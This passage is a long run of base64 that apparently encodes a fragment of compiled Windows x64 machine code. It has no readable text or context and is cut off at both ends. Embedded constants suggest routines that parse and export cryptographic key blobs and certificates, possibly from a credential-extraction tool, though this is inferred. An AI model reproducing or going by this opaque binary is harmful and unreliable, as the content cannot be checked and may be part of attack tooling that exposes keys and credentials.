IjQ1npAgA6II59/9Ei81IiXQkIESLx0iL0zPJ6E38//9Ii5wkkAAAADPASIPEUEFfQV5BXUFcX15dw8zMzEyL3EmJWxBJiXMYV0FWQVdIg+xgSYv4TIv6TIvxM9tIhckPhCMDAABJjUPYSYlDuEmJW7BFM8lFM8BIjRUPpAgA6BrM9v+FwA+E4QAAAEiJXCQwSIlcJChMjUwkSEUzwEiNFQlUCABIi0wkUOjvy/b/hcB0HEiLVCRISI0N76MIAOjKOPf/SItMJEj/FZe0BABIiVwkMEiNhCSAAAAASIlEJChFM8lFM8BIjRXwowgASItMJFDopsv2/4XAdF1IjQ3zowgA6IY49/9Ei7wkgAAAAIv7iVwkQEiNNcl69v+D/wVzKUGLx4vP0+ioAXQWi9dIi5TWANgOAEiNDaCIBgDoSzj3///HiXwkQOvSSI0NjEUFAOg3OPf/6wdIjTWGevb/SItMJFD/FdtADADrB0iNNXJ69v9IiVwkMEiJXCQoTI1MJEhFM8BIjRUhUwgASYvO6AnL9v+FwHQcSItUJEhIjQ15owgA6OQ39/9Ii0wkSP8VsbMEAEiJXCQwSIlcJChMjUwkSEUzwEiNFYCjCABJi87oyMr2/4XAdBxIi1QkSEiNDYCjCADoozf3/0iLTCRI/xVwswQASIlcJDBIiVwkKEyNTCRIRTPASI0Vh6MIAEmLzuiHyvb/hcB0HEiLVCRISI0Nj6MIAOhiN/f/SItMJEj/FS+zBABIiVwkMEiNhCSAAAAASIlEJChFM8lFM8BIjRWQowgASYvO6EDK9v+FwHQWi5QkgAAAAESLwkiNDYOjCADoFjf3/0iJXCQwSI2EJIAAAABIiUQkKEUzyUUzwEiNFT9YBgBJi87o/8n2/4XAD4SFAAAAi5QkgAAAAEiNDYGjCADo1Db3/0SLhCSAAAAARYv4i/uJXCREg/8EczFBi8eLz9PoqAF0HovXSIuU1sDRDgBIjQ3yhgYA6J029/9Ei4QkgAAAAP/HiXwkROvKQYPgA0iNNQrFBwBIjT0LxQcASIvXQYD4A0gPRNZIjQ1JowgA6GQ29//rDkiNNePEBwBIjT3kxAcASIlcJDBIjYQkgAAAAEiJRCQoRTPJRTPASI0VrSYIAEmLzug9yfb/hcB0GjmcJIAAAABID0X+SIvXSI0NJKMIAOgPNvf/6VkCAADpVAIAAE2F/w+ESwIAAEiF/w+EEwEAAEiJXCQoTI1MJEi6BAAAAEiLz+hAyPb/hcB0HEiLVCRISI0NDKMIAOjHNff/SItMJEj/FZSxBABIiVwkKEyNTCRIugYAAABIi8/oCcj2/4XAdBxIi1QkSEiNDQWjCADokDX3/0iLTCRI/xVdsQQASIlcJChMjUwkSLokAAAASIvP6NLH9v+FwHQcSItUJEhIjQ3+oggA6Fk19/9Ii0wkSP8VJrEEAEiNhCSAAAAASIlEJChFM8lBjVEDSIvP6JbH9v+FwHROSI0Nj6AIAOgiNff/RIu0JIAAAACL+0iNNblMBQBBi8aLz9PoqAF0D0iLFkiNDUyFBgDo9zT3///HSIPGCIP/BHLbSI0NNUIFAOjgNPf/x4QkmAAAAAQAAACJXCQgTI2MJJgAAABMjYQkgAAAALoHAAAASYvP/xWLpwQAhcB0G4uMJIAAAADoj8v2/0iL0EiNDcGgCADolDT3/8eEJJgAAAAEAAAAiVwkIEyNjCSYAAAATI2EJIAAAAC6CQAAAEmLz/8VP6cEAIXAdBaLlCSAAAAARIvCSI0NuqAIAOhNNPf/x4QkmAAAAAQAAACJXCQgTI2MJJgAAABMjYQkgAAAALoGAAAASYvP/xX4pgQAhcB0a4uUJIAAAABIjQ3eoQgA6Ak09/+LtCSAAAAASI0980sFAIvGi8vT6KgBdA9IixdIjQ03hAYA6OIz9///w0iDxwiD+wly3PaEJIAAAAAESI01UMIHAEiNFVHCBwBID0XWSI0NlqAIAOixM/f/TI1cJGBJi1soSYtzMEmL40FfQV5fw8zMzEyL3EmJWwhJiXMQSYl7GE2JcyBVSIvsSIPsUEiDZfgARYvxSINl4ABBi9hIg2XwAIv6SINl6ABIi/FFhcB0GkiNReBMjU34SYlDyEyNBU6hCADoUcj2/+tbRItNMEiNTfBFM8DHRCQgAAAA8DPS/xX0pQQAhcB0PEiLTfBIjUXoSIlEJChFM8lEi8fHRCQgAQAAAEiL1v8VdKUEAIXAdRT/FequBACL0EiNDRGhCADo5DL3/0iLTeBIi1XoSIXJD4WfAAAASIXSD4WWAAAATItNSEiNBc/WBwBIi004SI0VlNYHAIXbSA9F0EiNBVehCABFM8BIiUQkIOjyBgAASIvYSIXAD4SnAAAASI0NR6EIAOiCMvf/RIvHSIvWSIvL6GgP9/+FwHQRSIvTSI0NVqEIAOhhMvf/6yBIjQ1goQgA6FMy9///FUWuBACL0EiNDVyhCADoPzL3/0iLy/8VDq4EAOtNTItF8Ojb+P//g31QAHQiSItFSEWLxkyLTThIi1XoSItN4EiJRCQog2QkIADoRwAAAEiNVeBIjU346EbG9v9Ii03oSIXJdAb/Fc+kBABIi03wSIXJdAgz0v8VLqQEAEiLXCRgSIt0JGhIi3wkcEyLdCR4SIPEUF3DSIvETIlIIFZXQVRBVUFWQVdIgeyIAAAATIvyTIv5M/9IiXiQx0CoHvG1sCF4rESJQLAheLQheLgheLxIjQWK1QcATI0lU9UHAEiFyUwPReBMiaQkwAAAADP2SI0N06EIAOhWMff/TYX2D4QhAQAASI2EJNAAAABIiUQkKEghdCQgRTPJjXcHRIvGM9JJi87/Fc+jBACFwA+E2gAAAIuEJNAAAACDwBiJRCRAi9CNT0D/FRatBABIi/hIhcAPhAEDAABIjUgYSI2EJNAAAABIiUQkKEiJTCQgRTPJRIvGM9JJi87/FXujBACFwHRlgX8cACIAAHQtgX8cACQAAHQbSI0FVuMHAEiNDU+hCACBfxwApAAASA9EwesQSI0FW6EIAOsHSI0FcqEIAEiJRCRQi4Qk0AAAAIlEJHQPEEQkYA8RB/IPEEQkcPIPEUcQ6XECAAD/FVysBACL0EiNDWOhCADoVjD3/0iLz/8VJawEAEiL+OlMAgAA/xU3rAQAi9BIjQ3OoQgA6DEw9//pMwIAAE2F/w+EKgIAAEiDZCQwAEiDZCQoAEyNjCTIAAAAQbgBAAAASI0VKqIIAEmLz+gKw/b/hcAPhOoBAABFM/ZEiXQkREyLpCTIAAAAQYP+BHMoRYvuScHlBUiNDSbxBQBMA+lJi1UASYvM6CsTAwCFwA+F8gAAAEmL9UiF9g+EgwEAAINkJDgASI2EJNAAAABIiUQkMINkJCgASINkJCAARTPJTItGCDPSSYvP/xVUOAwAhcAPhTcBAACLRhj32BvAg+AYA4Qk0AAAAIlEJECL0LlAAAAA/xViqwQASIv4SIlEJEhIhcAPhCgBAACLRhj32EgbyYPhGEgDz4NkJDgASI2EJNAAAABIiUQkMIuEJNAAAACJRCQoSIlMJCBFM8lMi0YIM9JJi8//Fdc3DACFwA+FlAAAAEiLRhBIiUQkUIN+GAB0MIuEJNAAAACJRCR0DxBEJGAPEQfyDxBEJHDyDxFHEOmsAAAAQf/GRIl0JETp1v7//0yNTCRYRItEJEBIi9dIjQ3soAgA6A+m9/+FwHQiSIvP/xVqqgQASIt8JFhIiXwkSEiLz/8Vp6gEAIlEJEDrYP8Va6oEAIvQSI0NwqAIAOhlLvf/60pEi8BIi1YISI0NTaEIAOhQLvf/SIvP/xUfqgQASIv4SIlEJEjrJESLwEiLVghIjQ3HoQgA6Cou9//rD0mL1EiNDVaiCADoGS73/0mLzP8V6KkEAEyLpCTAAAAA6w1Ii3wkSEyLpCTAAAAASIX/dH1Ii0QkUEiJRCQgTIuMJOgAAABEi4Qk4AAAAEmL1EiLjCTYAAAA6CICAABIi/BIhcB0QkSLRCRASIvXSIvI6KYK9/+FwHQRSIvWSI0NlJwIAOifLff/6xT/FY+pBACL0EiNDXaiCADoiS33/0iLzv8VWKkEAEiLz/8VT6kEAEiBxIgAAABBX0FeQV1BXF9ew8xIi8RIiVgISIloEEiJcBhXQVZBV0iD7EBIg2DIAIvqM9JNi/FNi/hIi/FBuQAgAABFM8CNSgL/FeCiBABMi4wkiAAAAEmL1kSLhCSAAAAASIv4SINkJDAASI0FfaIIAEmLz0iJRCQg6FABAABIi9hIhcB0UEiNDWmiCADo5Cz3/0SLRhBIi8tIi1YI6MgJ9/+FwHQRSIvTSI0NtpsIAOjBLPf/6xT/FbGoBACL0EiNDViiCADoqyz3/0iLy/8VeqgEAOsU/xWSqAQAi9BIjQ2poggA6Iws9/+F7Q+EtAAAAEyLjCSIAAAASI0FLbQHAESLhCSAAAAASYvWSYvPSIlEJCDotQAAAEiL2EiFwHRxSI0NxpwIAOhJLPf/TI1MJDBBuAEAAABIi9ZIi8//FbKhBACFwHQrSIvTSIvP6Le69v+FwHQPSIvTSI0NBZsIAOgQLPf/SItMJDD/FZWhBADrFP8V9acEAIvQSI0NrKIIAOjvK/f/SIvL/xW+pwQA6xT/FdanBACL0EiNDe2hCADo0Cv3/7oBAAAASIvP/xVioQQASItcJGBIi2wkaEiLdCRwSIPEQEFfQV5fw8xIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+xATIv6TYvxSIPK/0WL4EiLwkUz7UiL6Uj/wGZEOSxBdfZIi8pI/8FmRTksT3X2SAPBSIvKSP/BZkU5LEl19kiLtCSQAAAASAPBSIvKSP/BZkQ5LE519kiNeA9IA/m5QAAAAEiNFD//FTGnBABIi9hIhcB0QUiJdCQ4TI0FXaIIAEyJdCQwTIvNRIlkJChIi9dIi8hMiXwkIOj0x/b/SIvLg/j/dQv/FbqmBABIi9jrBegwCvf/TI1cJEBIi8NJi1swSYtrOEmLc0BJi+NBX0FeQV1BXF/DzMzMSIlcJAhIiXQkEFVXQVdIjWwkuUiB7NAAAABIg2V3AEyNTXdIg2V/AEyNBbXYBwBIg2QkIABIi9qL+b4AKAAA6MiZ9/9Ig2QkIABMjU1/TI0F31wIAEiL04vP6K2Z9/9Ig2QkIABMjU3HTI0FjGcIAEiL04vP6JKZ9/+FwHQQSItNx0UzwDPS6OgsAwCL8EiLVXdIjU2n/xWIrQQASItdf0iNTd9Ii9P/FXetBABIjVW3SI1Np/8VsZwEAEG/EAAAAEiNPTw3BQCFwA+IngAAAEiNDU2hCADo2Cn3/0UzwEiNTbdBi9foiZb3/0iLz+jBKff/SIXbdHZFM8lMjUXfSI1Vt0iNTc/oVLX2/4XAeF5IjQ0doQgA6Jgp9/9FM8BIjU3PQYvX6EmW9/9Ii8/ogSn3/0SLzkyNRd9IjVW3SI1Nz+gZtfb/hcB4I0iNDfKgCADoXSn3/0UzwEiNTc9Bi9foDpb3/0iLz+hGKff/QbABSI1Vp0iNTe//FUWtBACFwHg/SItN90iNVbf/FYOdBACFwHgjSI0NuKAIAOgTKff/RTPASI1Nt0GL1+jElff/SIvP6Pwo9/9IjU3v/xX6rAQARA+3RadMjU3/SItVr7kDgAAARIl8JCDodqP2/4XAdAxIjQ17oAgA6MYo9/9FM8BIjU3/QYvX6HeV9/9Ii8/oryj3/0QPt0WnTI1ND0iLVa+7FAAAALkEgAAAiVwkIOgvo/b/hcB0DEiNDUSgCADofyj3/0UzwEiNTQ+L0+gxlff/SIvP6Gko9/9ED7dFp0yNTSdIi1WvuyAAAAC5DIAAAIlcJCDo6aL2/4XAdAxIjQ0OoAgA6Dko9/9FM8BIjU0ni9Po65T3/0iLz+gjKPf/TI2cJNAAAAAzwEmLWyBJi3MoSYvjQV9fXcPMSIlcJAhIiWwkEEiJdCQYV0iD7CCL+kGL8UgD+UmL6EiL2Ug7zw+DFQEAAESLE0iNDUNEBQAz0jPARDkRdA3/wEiDwRCD+GBy8OsTSAPASI0VG0QFAEiLFMJIhdJ1T0GNQtyD+Bp3CUiNFRJ2BgDrPUGD+j91CUiNFSt2BgDrLkGNQow9i38AAHcJSI0VV3YGAOsaQY2CAID//z3/fwAASI0NcnYGAEgPR8pIi9FEi0MESI1CCkiFwEyNDeUyBgBBi9JIjQ0fnwgATA9FyOg2J/f/i0MIhcB0V0iNDSSfCADoIyf3/4sDg/gcD4c8AQAAdCCD6AJ0YIPoAXQWg+gBdBGD6AcPhHEBAACD6AR0A4PoBYtTCEiNSwxFM8Dop5P3/0iNDTA0BQDo2yb3/4tDCEiDwwxIA9hIO98Pguv+//9Ii1wkMDPASItsJDhIi3QkQEiDxCBfw0iNDbKeCADopSb3/4N7DAB0FotTDEiNDSWSCABIg8IMSAPT6Ikm9/+DexAAdBaLUxBIjQ2hnggASIPCDEgD0+htJvf/RItDFEGLyOgRvfb/SIXASI0V8zEGAEiNDaieCABID0XQ6Ecm9/9Ei0MkQYP4AXQnQYP4AnQYQYP4/0iNFcgxBgBIjQWNdAYASA9E0OsQSI0VYHQGAOsHSI0VN3QGAEiNDeCHCADoAyb3/4tTGEiNDYmeCADo9CX3/0SLQyBIjQ2pnggAi1Mc6OEl9//p9f7//4PoHQ+E3f7//4PoA3Rcg+gBdFeD6AF0UoPoAXRNg+godC2D6Bp0KIP4EQ+Ftv7//0iNSwxFM8Az0uj6bQIASI0N5zIFAOiSJff/6ab+//+LUwhMjUMMSNHqSI0NTEEIAOh3Jff/6Yv+//9Ei8ZIi9VIi8voPAEAAOl4/v//zMzMSIlcJAhXSIPsMEmL+UiL2kiF0nRESI0NQJ4IAOg7Jff/RTPJTI1EJEhIjVQkIEiLy+h2A/f/hcB0H0SLD0yLw4tUJEhIi0wkIOgG/f//SItMJCD/FdugBABIi1wkQDPASIPEMF/DzMxIiVwkCFdIg+xASINkJCAATI0FjUsIAEUzyUiL2ov56CiU9/9Ig2QkIABMjUwkaEyNBTbnBwCJRCRgSIvTi8/oCJT3/4XAdGtIi1wkaEiLy/8V7qMEAIXAdDxIi9NIjQ3AQwgA6Isk9/9IjUQkYEUzyUiJRCQ4RTPASI0FGP///zPSSIlEJDBIi8uDZCQoAOgEBPf/6ylIi8v/Fc2jBABMjUwkYEiL00yLwDPJ6Of+///rDEiNDWKdCADoNST3/0iLXCRQM8BIg8RAX8NIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsMESLCUGL+EiL6kiL8UGD6SB0MUGD6QF0IkGD6QF0E0GD+QEPhQUBAABIjR3knQgA6xlIjR3TnQgA6xBIjR3CnQgA6wdIjR05mQgASI0N0p0IAOi1I/f/i1YISI1ODEUzwOhmkPf/SI0N7zAFAOiaI/f/RTPkhf8PhLEAAABIjQ2EmwgA6IMj9/9Ii83/FfKiBABIg8n/SIvoSIvRSP/CZkQ5JFB19kj/wWZEOSRLdfZMjXICTAPxuUAAAABLjRQ2/xVWnwQASIv4SIXAdGBMi81IiVwkIEyNBVedCABJi9ZIi8joKMD2/4XAfjlEi0YISI1WDEiLz+gEAPf/hcB0EUiL10iNDTqdCADo/SL3/+sU/xXtngQAi9BIjQ1UnQgA6Oci9/9Ii8//FbaeBABIi1wkUEiLbCRYSIt0JGBIi3wkaEiDxDBBX0FeQVzDzMzMTIvcSYlTEIlMJAhTVldBVEFVQVZBV0iB7NAAAABMi+qL8TP/RIvniXwkSESL/0mJe4hIjQXrTQYASYlDkEnHQ5gBAAAAQYl7oEmJe6hBiXuwSI0F/KcHAEiJRCQgTI1MJFBMjQXzgggA6KaR9/9IiXwkIEyNTCRATI0FpSUIAEmL1YvO6IuR9/+FwA+EAgcAAEiLVCRQSI0ND50IAOgaIvf/SItMJFDoSLj2/w0AwAAASI0NGKkHAEiJTCQgRIvIRTPAM9KNTwr/FaaXBABMi/BIiYQkwAAAAEiFwA+EmwYAAEiLXCRASIvTSI0N65wIAOjGIff/SIl8JChIiVwkIEG5BwAIAEUzwLoBAAEASYvO/xW1lwQATIvwSIlEJFBIhcAPhCwGAABIjQ3dnAgA6Igh9/9Ji04YSIPBQHQZSI1UJED/FROdBACFwHQKSI1MJEDo5Y73/0iNDQagBwDoWSH3/0mLThhIg8FIdBlIjVQkQP8V5JwEAIXAdApIjUwkQOi2jvf/SI0Nfy4FAOgqIff/TI2MJCABAABFM8BBjVACSYvO/xUqlwQAhcAPhB8DAACLlCQgAQAAuUAAAAD/FQidBABIi9hIiUQkQEiFwA+E/AIAAEyNjCQgAQAATIvAugIAAABJi87/FeaWBACFwA+EywIAAItDKImEJLgAAABMiwNIi1MISI0NJpwIAOipIPf/RItLEEWFyQ+EMQEAAItDFIlEJCBMi0MISIsTSI1MJHj/FVOTBACFwA+E9wAAAEyNRCRYi1MoSItMJHj/FdiUBACFwA+EtgAAAEiNhCQgAQAASIlEJChIiXwkIEUzyTPSRY1BB0iLTCRY/xXikgQAhcB0a4uUJCABAAC5QAAAAP8VNJwEAEiL8EiJRCRoSIXAdGBIjYQkIAEAAEiJRCQoSIl0JCBFM8kz0kWNQQdIi0wkWP8VmZIEAESL4IXAdTP/FdybBACL0EiNDbObCADo1h/3/0iLzv8VpZsEAOsU/xW9mwQAi9BIjQ0knAgA6Lcf9/9Ii0wkWP8VlJIEAOsU/xWcmwQAi9BIjQ2TnAgA6JYf9/8z0kiLTCR4/xXhkQQA6YkBAAD/FXabBACL0EiNDe2cCADocB/3/+lwAQAARTPASItTCEiNjCSAAAAA/xX+JwwAhcAPhRsBAACLQxSJRCQgRTPJTIsDSI1UJGBIi4wkgAAAAP8V9icMAIXAD4XVAAAAiXwkOEiNhCQgAQAASIlEJDCJfCQoSIl8JCBFM8lMjQWyjggAM9JIi0wkYP8VzScMAIXAD4WBAAAAi5QkIAEAAI1IQP8V7ZoEAEiL8EiJRCRoSIXAdHKJfCQ4SI2EJCABAABIiUQkMIuEJCABAACJRCQoSIl0JCBFM8lMjQVVjggAM9JIi0wkYP8VcCcMAESL54XAQQ+UxESJZCRIRYXkdSeL0EiNDYScCADodx73/0iLzv8VRpoEAOsOi9BIjQ3rnAgA6F4e9/9Ii0wkYP8VCycMAOsOi9BIjQ1QnQgA6EMe9/9Ii4wkgAAAAP8V7SYMAOsOi9BIjQ2inQgA6CUe9//rKEiNDSSeCADoFx73/zP/TIusJBgBAABEi2QkSESL/0yLdCRQSItcJEBIi8v/FcqZBACLtCQQAQAARYXkD4RvAgAASI0FQ0kGAEiJRCQgTI2MJJgAAABMjQU/owcASYvVi87oFY33/+hYjPf/SIvYSIXAD4QuAgAATIvASIu0JJgAAABIi9ZIjQ3/nQgA6JId9/9IiXwkIEyNTCRwTI0FAaMHAEmL1YuMJBABAADoyoz3/4XAD4S2AAAASItMJHDoaIj3/0yL+EiFwA+EoAAAALgFAAAAOwURQQwAG8mB4YAAAACJTCQgRIuMJKAAAABMi8Yz0kiNjCQoAQAA/xXyjwQAhcB0VkUzyU2Lx0GNUSBIi4wkKAEAAP8VJpEEAIXAdA3HhCSkAAAAQAAAAOsbibwkpAAAAP8V4JgEAIvQSI0Np50IAOjaHPf/M9JIi4wkKAEAAP8VIo8EAOsU/xW6mAQAi9BIjQ0xnggA6LQc9/+LhCSkAAAAg8gIiUQkIESLjCSgAAAATIvGSIvTSI2MJCgBAAD/FVqPBACFwA+E5wAAAE2F/3Q5RTPJTYvHQY1RIEiLjCQoAQAA/xWFkAQAhcB1FP8VU5gEAIvQSI0NGp0IAOhNHPf/SYvP/xUcmAQASI0NRZ4IAOg4HPf/SI2EJIgAAABIiUQkKIl8JCBFM8lEi4QkIAEAAEiLVCRoSIuMJCgBAAD/FYGOBACFwHRbSI0NLp4IAOj5G/f/RTPJTYtGCEGNURpIi4wkiAAAAP8VYI4EAIXAdA5IjQ3FmgcA6NAb9//rFP8VwJcEAIvQSI0NJ54IAOi6G/f/SIuMJIgAAAD/FZSOBADrI/8VnJcEAEiNDYWeCADrDf8VjZcEAEiNDQaZCACL0OiHG/f/SIvL/xVWlwQASItMJGj/FUuXBABJi87/FfqQBADrFP8VWpcEAIvQSI0NwZ4IAOhUG/f/ugEAAABIi4wkwAAAAP8V4ZAEAOsi/xUxlwQAi9BIjQ0onwgA6Csb9//rDEiNDZqfCADoHRv3/zPASIHE0AAAAEFfQV5BXUFcX15bw0iJXCQISIl0JBBXSIPsMEyLXCRgM9uL+kmL8EyL0U2F23QDQSEbg/8EcnVNhdt0B0HHAwEAAACLCbhFQ1M0O8gPhzsBAAB0PYH5BwIAAA+EwwAAAIH5BwMAAHRogflSU0EydFeNgbu8tM2p///3/3QUgflSU0EzdDmB+UVDSzQPhT0BAABMjQVcpQgATIlMJCCL10yLzkmLyuh6r/b/i9hIi3QkSIvDSItcJEBIg8QwX8NMjQV3LwgA69FMjQVOLwgA68hBi1IEgfoAIgAAdA5IjQ15pAgA6Cwa9//rwkGLUgiB+kRTUzR1JEGLUhBFi0IYQTvQdQlMjQX6oggA64xIjQ0ZowgA6PwZ9//rkkiNDZujCADrwEGLUgSB+gAiAAB0Oo2CANz//6n/f///dAlIjQ0poggA655Bi1IIgfpSU0EydQxMjQVsiQgA6Tv///9IjQ3ooAgA6Xr///9Bi1IIgfpEU1MydQxMjQV4iQgA6Rf///9IjQ1UoQgA6Vb///+Ngbu8tMmp///3/w+E8/7//4H5RUNEVg+EjQAAAIH5RUNLVg+EgQAAAIH5REhQVnRtgflEU1BWdFmB+R7xtbB0EU2F2w+E1f7//0EhG+nN/v//QTlaDHUpQTlaEHUjQYtKFEiNR+hIO8h1FkghXCQgjVfoSY1KGOgD/v//6Zz+//9IjQ2HnwgA6PoY9//pjf7//0yNBTakCADpbf7//0yNBQqkCADpYf7//0yNBdajCADpVf7//8xMi9xJiVsISYlzEEmJexhNiWMgVUFWQVdIi+xIg+xgg2XgAEiNReiDZewATYv5SYlDqE2L4IvaTIvx6In9//+DfegAi/APhXECAABFM8lIjUXsSIlEJDCL00iDZCQoAEiNReBJi85IiUQkIEWNQQf/FfONBACFwA+EKwIAAItV4LlAAAAA/xVVlAQASIv4SIXAD4QlAgAASINkJDAASI1F4EiDZCQoAEyLz0G4BwAAAEiJRCQgi9NJi87/FaiNBACFwA+EwQEAAESLTeBIjUXkSIlEJDhBvgEAAQBIjUXwuwCAAABIiUQkMEyLx0iDZCQoALorAAAAQYvOiVwkIP8V9I0EAIXAdBOLVeRMjQVuhwgASItN8OlFAQAARItN4EiNReRIiUQkOEyLx0iNRfC6UgAAAEiJRCQwQYvOSINkJCgAiVwkIP8VrI0EAIXAD4TKAAAASItF8LlAAAAAi1AgRItwCIPCB0QD8kGL1v8VbZMEAEiL2EiFwA+E8AAAAEiLTfCLQQiJQwSD+CB0GoP4KnQNg/hCdRbHA0VDUzbrE8cDRUNTNOsLxwNFQ1MygzsAdFRIi1XwSI1LCESLQiBIi1IoQf/ISP/C6Cq1AgBIi1Xwi0ogRItCCEiDwQdIi1IQSAPL6A+1AgBNi8xMiXwkIEyNBbihCABBi9ZIi8vo3av2/4vw6wxIjQ0qoggA6L0W9/9Ii8v/FYySBADrUUSLTeBIjUXkSIlEJDhMi8dIjUXwuiwAAABIiUQkMEGLzkiDZCQoAIlcJCD/FamMBACFwHQoi1XgTI0Fk4YIAEiLz02LzEyJfCQg6HOr9v+L8EiLTfD/FS+SBADrIkiNDaaiCADoSRb3/+sU/xU5kgQAi9BIjQ0QowgA6DMW9/9Ii8//FQKSBADrFP8VGpIEAIvQSI0NkaMIAOgUFvf/TI1cJGCLxkmLWyBJi3MoSYt7ME2LYzhJi+NBX0FeXcNMi9xJiVsIVVZXSIPsQDPbSY1DGIlcJDhMjQX1hQgASYlD2EiL6olcJChFM8kz0kmJW8hIi/H/FZAeDACFwA+F2QAAAItUJHCNS0D/FbORBABIi/hIhcAPhM4AAABIjUQkcIlcJDhIiUQkMEyNBaKFCACLRCRwRTPJiUQkKDPSSIvOSIl8JCD/FT8eDACFwHVzRItEJHBMjUwkeEiL10iNDZeHCADouoz3/4XAdEdIi0wkeP8VY48EAEiLVCR4SIvNRIvA6B/y9v+FwHQHuwEAAADrFP8VEpEEAIvQSI0NKaMIAOgMFff/SItMJHj/FdmQBADrHf8V8ZAEAEiNDaqjCADrB0iNDWGkCACL0OjiFPf/SIvP/xWxkAQA6w6L0EiNDeakCADoyRT3/4vDSItcJGBIg8RAX15dw8zMSIlcJAhIiXQkEFVXQVZIjWwkuUiB7MAAAACDTSf/TI1N50Uz9sdFFxgAAABMjQW9zgcATIl1H0yJdCQgSIvai/noyoP3/4XAdSJMjU3nTIl0JCBMjQXauwcASIvTi8/orIP3/4XAD4RKAwAASI0N/aQIAOhAFPf/SItN50yNRXdFM8lIjVUP6Hzy9v+FwA+EDgMAAItVd0yNTR9Ii00PTI1FL+hA+///hcAPhOYCAABIi00fRTPAM9Loqtr//0iNDUMhBQDo7hP3/0yNTedMiXQkIEyNBcqkCABIi9OLz+gsg/f/hcB1PEyNTedMiXQkIEyNBbikCABIi9OLz+gOg/f/hcB1HkyNTedMiXQkIEyNBaqkCABIi9OLz+jwgvf/hcB0LUiNDaWkCADoiBP3/0iLVedIi00f6If9//+FwHQQSItV50iNDdykCADoZxP3/0yNTedMiXQkIEyNBd+kCABIi9OLz+ilgvf/hcAPhBYCAABIjQ3WpAgA6DkT9/9Ii03nTI1Ff0UzyUiNVQfodfH2/4XAD4TaAQAAi0V/SI1VN0iLdQe5AgAAAIlFN0SLwUiNRe9IiXU/SIlEJFBIjUX3TIl0JEhEjUkMSIlEJEBIjUX/SIlEJDhIjUUDSIlEJDBIjUUHSIlEJChEiXQkIESJdQdEiXUDRIl1/0yJdfdMiXXv/xUeiAQAhcB1Ev8VnI4EAEiNDaWYCADpQwEAAEiLTe/ob8v//0iNDdgfBQDogxL3/0yNTedMiXQkIEyNBUOkCABIi9OLz+jBgff/hcB1WkyNTedMiXQkIEyNBQ2aBwBIi9OLz+ijgff/hcB1PEyNTedMiXQkIEyNBQ+kCABIi9OLz+iFgff/hcB1HkyNTedMiXQkIEyNBcG6BwBIi9OLz+hngff/hcB0XkiNDeyjCADo/xH3/0iLTe9MjU0XugUAAABEjUL8/xWYhwQAhcB0I0iLVedIi0336Gug9v+FwHQmSItV50iNDTijCADowxH3/+sU/xWzjQQAi9BIjQ36owgA6K0R9/9Ii03vSIXJdCT/FS6HBACFwHQGTIl17+sU/xWGjQQAi9BIjQ1tlggA6IAR9/9Ii033SIXJdCm6AQAAAP8VDIcEAIXAdAZMiXX36xT/FVSNBABIjQ3dlggAi9DoThH3/0iLzv8VHY0EAOsU/xU1jQQAi9BIjQ0cpAgA6C8R9/9IjVUfSI1NL+hypfb/SItND/8V8IwEAOsU/xUIjQQAi9BIjQ1/pAgA6AIR9/9MjZwkwAAAADPASYtbIEmLcyhJi+NBXl9dw0BTSIPsMEUzwEiNFQBvBgBIjUwkWP8VdRkMAIXAD4W4AAAAIUQkKEiNRCRQSIlEJCBFM8lFM8BIjRWqpAgASItMJFj/FU8ZDACFwHVzi1QkUI1IQP8VnowEAEiL2EiFwHRsg2QkKABIjUQkUEiJRCQgRItMJFBMi8NIjRVopAgASItMJFj/FQ0ZDACFwHUYi1QkUEjR6kyLw0iNDUCvBgDoQxD3/+sOi9BIjQ1gpAgA6DMQ9/9Ii8v/FQKMBADrDovQSI0N16QIAOgaEPf/SItMJFj/FccYDADrDovQSI0NTKUIAOj/D/f/6w1IjQ3OpQgA6PEP9/+QM8BIg8QwW8NIg+w4gz2lMwwABkiNBfamCABMjQ0PpwgAugoAAABMD0LITI0FF6cIAEiNDSDHCwDofxP3/zPASIPEOMNAU0iD7DBIjQUPpwgATI1MJFhIiUQkIEyNBRanCADo4X73/0iLVCRYSI0NDacIAOh4D/f/SItUJFgzyf8V44MEAEiL2EiFwHRySI1UJFBIi8j/Fd2DBACFwHQQi1QkUEiNDQanCADoQQ/3/zPSSIvL/xW2gwQAhcB0DkiNDQunCADoJg/3/+sU/xUWiwQAi9BIjQ0dpwgA6BAP9/9IjVQkUEiLy/8VioMEAIXAdCGLVCRQSI0Ns6YIAOsP/xXjigQAi9BIjQ1apwgA6N0O9/8zwEiDxDBbw8xIi8RIiVgISIlwEFdIg+xASINg2ABMjUgYTI0FMLYHAEiL+ovx6AJ+9/+FwA+EhwAAAOglkvf/SIvYSIXAD4SCAAAASItUJGBIi8jomJL3/4XAdFqDZCQ4AEyNDZynCABIg2QkMABMi8NIg2QkKABIi9eLzsdEJCABAAAA6FcAAACDZCQ4AEyNDe+nCABIg2QkMABMi8NIg2QkKABIi9eLzsdEJCACAAAA6CoAAABIiwNIi8v/UBDrDEiNDSyoCADoDw73/0iLXCRQM8BIi3QkWEiDxEBfw8xIiVwkCEiJdCQQSIl8JCBVQVRBVUFWQVdIi+xIg+xgSYsASYv4SIvyTI1F8ESL8UmL0UiLz0Uz//+QIAEAAIXAD4XjAAAASItN8EiFyQ+E1gAAAEiLAUiNVUD/UECFwA+FxAAAADPbOV1AD465AAAARItlaEyLbWBFhf8PhagAAABIi03wTI1F6IvTSIsB/1A4hcAPhYUAAABIi03oSIXJdHxIiwFIjVXg/1BQhcB1ZIN94AF1XotNUIXJdDKD6QF0GYP5AXVNTItN6EyLx0iL1kGLzuh3AQAA6zlMi03oTIvHSIvWQYvO6FsAAADrJUiLRVhIi9ZMi03oQYvORIlkJDBMiWwkKEiJRCQg6KMFAABEi/hIi03oSIsR/1IQ/8M7XUAPjE////9MjVwkYEmLWzBJi3M4SYt7SEmL40FfQV5BXUFcXcPMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsMEiL6kSL8UiNFfYPCABJi8lJi9lJi/DoOJH3/0iL+EiFwA+ErAAAAEiL0EiNDRqnCADoZQz3/0iLz/8VNIgEAEiLA0yNRCQgSI0VNacIAEiLy/+QKAEAAIXAdXhIi0wkIEiFyXRuSI0VPxAIAOjikPf/SIvYSIXAdFpIi9BIjQ0gpwgA6BMM9/9Ii8v/FeKHBABIi0wkIEiNFS66BwDosZD3/0iL2EiFwHQpSIvQSI0ND6cIAOjiC/f/TIvLTIvGSIvVQYvO6PUCAABIi8v/FaCHBABIi1wkQEiLbCRISIt0JFBIi3wkWEiDxDBBXsPMSIvESIlYCEiJcBBIiXgYTIlgIFVBVkFXSI